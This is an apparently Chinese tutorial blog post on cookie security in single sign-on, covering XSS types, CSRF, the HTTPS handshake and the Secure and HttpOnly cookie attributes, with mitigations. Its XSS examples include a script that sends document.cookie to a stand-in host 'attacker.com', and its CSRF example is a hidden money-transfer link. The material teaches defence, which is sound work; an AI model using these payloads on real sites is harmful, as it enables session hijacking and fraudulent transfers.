单点登陆与权限管理本质：cookie安全问题

该系列好多天没更新了，前几天请假回老家了，外公去世了。工做上也开始忙了，开始了所谓的「996」，为节奏和效率堪忧。

该系列的完整写做计划，可见：系列概述

系列第一部分索引：

1. session和cookie介绍
2. HTTP重定向
3. 单点登陆介绍
4. cookie安全问题
5. 权限管理介绍

继续介绍「单点登陆与权限管理」系列的第一部分：单点登陆与权限管理本质，前一篇文章介绍了单点登陆概念，以CAS协议的基本流程为例讲解了系统间的交互过程，过程当中，cookie的设置和传输涉及的比较多，如何保证cookie的安全性，是这篇文章要介绍的。

安全相关的知识，了解的也有限，我阅读了相关的文章，按照本身的思路、理解，进行了梳理和总结。

若是把安全问题按照发生区域来划分的话，全部发生在后端服务器的安全问题称为「后端安全问题」，好比SQL注入；全部发生在浏览器、web页面中的安全问题称为「前端安全问题」，好比XSS跨站脚本攻击，cookie相关的问题主要在前端。

首先会介绍下2个攻击，XSS可获取用户的cookie，CSRF可利用用户的cookie伪造请求，而后介绍下HTTPS及它的重要性，最后说下跨域访问cookie的限制，HTTP设置cookie时对cookie操做的控制。

XSS

XSS称为跨站脚本攻击，全称为Cross-Site Scripting，这类安全问题发生的本质缘由是浏览器将攻击者提供的用户输入数据当作JavaScript脚本执行了。

XSS有不一样的分类方法，按照恶意脚本是否在应用中存储，能够划分为「存储型XSS」和「反射性XSS」；按照是否和服务端有交互，能够划分为「Server Side XSS」和「DOM based XSS」。

反射型XSS

场景说明：一些系统，在用户输入或操做错误后，会跳转到错误信息提示页面，服务器根据传入的message显示不一样的错误信息。

若是服务端不对message进行过滤，就会收到XSS攻击，好比请求URL：

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 
复制代码

页面显示

<input type="text" value="${msg}">
复制代码

若是被攻击者经过访问这个恶意的URL，就会把cookie发给黑客，黑客截获cookie，就能执行用户的任意操纵。

保存型XSS

对于保存型XSS，脚本一般保存在后端数据库中，不通过滤就存储并显示给用户。与反射型的流程不一样的是，须要至少两次请求，第一次将含有恶意代码的数据提交给服务器，保存到数据库，第二次是受害者访问含有恶意代码的页面，恶意代码执行。

DOM based XSS

其实也是反射型的一种，由于也是经过url控制页面的输出，不一样点只是输出地点不一样而致使结果不一致。

加入请求URL和反射XSS相同:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 
复制代码

显示页面以下：

<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg"); 
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script>
复制代码

防护XSS最佳的作法是对数据进行严格的输出编码，使得攻击者提供的数据再也不被浏览器认为是脚本而被误执行。

CSRF

CSRF称为跨站请求伪造，全称是Cross Site Request Forgery，它能够在受害者绝不知情的状况下，以受害者的名义伪造请求发送给受攻击站点。

场景说明：小米金融网站A，有一个以下的转帐接口

http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000
复制代码

黑客H有一个网站B，在网站中放入以下代码，经过广告诱使受害者点击。若是受害者以前登陆过网站A，且session还未过时，就会在受害者不知情的状况下，成功转帐给黑客。

<a href='http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000'></a>
复制代码

能够经过验证HTTP Referer字段、在请求地址中添加token并验证、在HTTP头中自定义属性并验证等方法进行解决；

HTTPS

建议全部对外网开放的站点都经过HTTPS，它是在HTTP协议的基础上，加入了SSL层，对数据进行加密处理。

经过HTTPS协议，cookie在传输的过程当中，即便被别人劫持到请求，也不知道实际的cookie是什么，没法伪造其余的请求。

HTTPS相关的介绍在网上不少，这里描述下交互过程：

1. 浏览器将本身支持的一套加密规则发送给网站；
2. 网站从中选出一组加密算法与HASH算法，并将本身的身份信息以证书的形式发回给浏览器；（证书里面包含了网站地址，加密公钥，以及证书的颁发机构等信息）
3. 浏览器得到网站证书以后，要作如下工做：
   • 验证证书的合法性（验证颁发证书的机构是否合法，证书中包含的网站地址是否与正在访问的地址一致等），若是验证不经过，会给出证书不受信的提示；
   • 若是证书受信任，或者是用户接受了不受信的证书，浏览器会生成一串随机数的密码，并用证书中提供的公钥加密；
   • 使用约定好的HASH计算握手消息，并使用生成的随机数对消息进行加密，最后将以前生成的全部信息发送给网站；
4. 网站接收浏览器发来的数据以后要作如下的操做：
   • 使用本身的私钥将信息解密取出随机数密码，使用密码解密浏览器发来的握手消息，并验证HASH是否与浏览器发来的一致；
   • 使用随机数密码加密一段握手消息，发送给浏览器；
5. 浏览器解密并计算握手消息的HASH，若是与服务端发来的HASH一致，此时握手过程结束，以后全部的通讯数据将由以前浏览器生成的随机密码并利用对称加密算法进行加密；

总结下：

• 握手阶段，经过非对称加密算法对传输的数据进行加解密，约定随机数的密码、加密算法、Hash算法；
• 正常传输数据时，由于非对称加密比较耗时，使用随机数的密码进行加解密，随机数密码在浏览器端生成，经过非对称加密传输给网站，因此不会泄露；
• 为了防止数据被篡改，经过Hash算法进行校验；

Cookie访问控制

cookie如此重要，在浏览器端，若是一个网站能够访问其余网站的cookie，确定不行的，因此浏览器是不容许跨域访问cookie的，提升了Cookie的安全性。

在前面的文章 session和cookie介绍 中，已经介绍了cookie的做用域，主要是说一级域名相同状况下如何共享使用cookie。

若是想实现跨域访问，能够经过JSONP、CORS的方法实现。

另外，HTTP设置cookie时，提供了2个属性，能够加强cookie的安全性，分别是secure属性和httpOnly属性。

secure属性可防止信息在传递的过程当中被监听捕获后致使信息泄露，若是设置为true，能够限制只有经过https访问时，才会将浏览器保存的cookie传递到服务端，若是经过http访问，不会传递cookie。

httpOnly属性能够防止程序获取cookie，若是设置为true，经过js等将没法读取到cookie，能有效的防止XSS攻击。

经过本篇文章的介绍，为了保障cookie的安全性，应要求经过HTTPS进行访问，在编写代码时充分考虑，尽可能避免XSS、CSRF等cookie相关的攻击方法。同时，浏览器和HTTP自己也对cookie的访问控制进行了考虑。